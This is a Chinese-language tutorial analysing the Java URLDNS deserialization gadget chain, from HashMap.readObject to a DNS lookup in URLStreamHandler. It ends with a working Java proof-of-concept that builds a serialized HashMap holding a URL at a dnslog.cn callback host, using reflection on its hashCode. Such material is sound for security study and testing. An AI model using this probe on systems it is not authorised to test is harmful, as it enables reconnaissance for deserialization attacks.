分析
该反序列化的入口类是java.util.HashMap
,它实现了Serializable接口
通过HashMap类的反序列化可以触发DNS查询
这是一个内置类无需第三方库即可验证,同时也可以验证无回显时反序列化是否成功
POP链总览
java.util.HashMap.readObject();
java.util.HashMap.putVal();
java.util.HashMap.hash();
java.net.URL.hashCode();
java.net.URLStreamHandler.hashCode();
java.net.URLStreamHandler.getHostAddress();
反序列化操作
HashMap类方法声明了反序列化方法private void readObject(java.io.ObjectInputStream s)
,这是我们的入口方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
最后的for循环循环读取了键值,然后利用putVal()
存入HashMap,注意对键进行了hash()
;判断非空,然后调用key.hashCode()
,追一下
这个方法会根据传入的参数调用,我们传入的是一个URL,因此调用的是java.net.URL
类的方法。
然后要使得hashCode==-1,进入handler.hashCode(this)
之后进入handler.hashCode(this)
调用getHostAddress(u)
就会触发DNS查询了
反序列化条件总结
- 传入URL对象,url为dnslog域名
- URL对象的hashCode==-1,进入
handler.hashCode(this)
序列化操作
我们要序列化的HashMap对象,泛型K为URL、V为String
给HashMap写入URL对象,可以通过HashMap的put方法,键是URL,值是任意String
要修改hashCode的值,于是就想到用反射来修改,因此POC先建立了反射
注意到put方法也调用了putVal,因此在序列化生成字符串的时候也会触发dns查询,要避免是生成时触发,就要避免触发,因此想到了先给url的hashCode赋值为非-1,跳过触发,put写入后再修改为-1,这样只会在反序列化的时候触发了。因为这里put是引用传值,可以再次修改hashCode。
序列化条件总结
- 建立反射修改hashCode属性
- 先赋值hashCode为非-1,调用HashMap.put()写入后再修改其为-1以避免序列化触发dns查询
payload
package urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class SerializationURLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://tuwvrl.dnslog.cn/");
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
hashMap.put(url, "foo");
f.set(url, -1);
File file = File.createTempFile("temp",".out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();
file.deleteOnExit();
}
}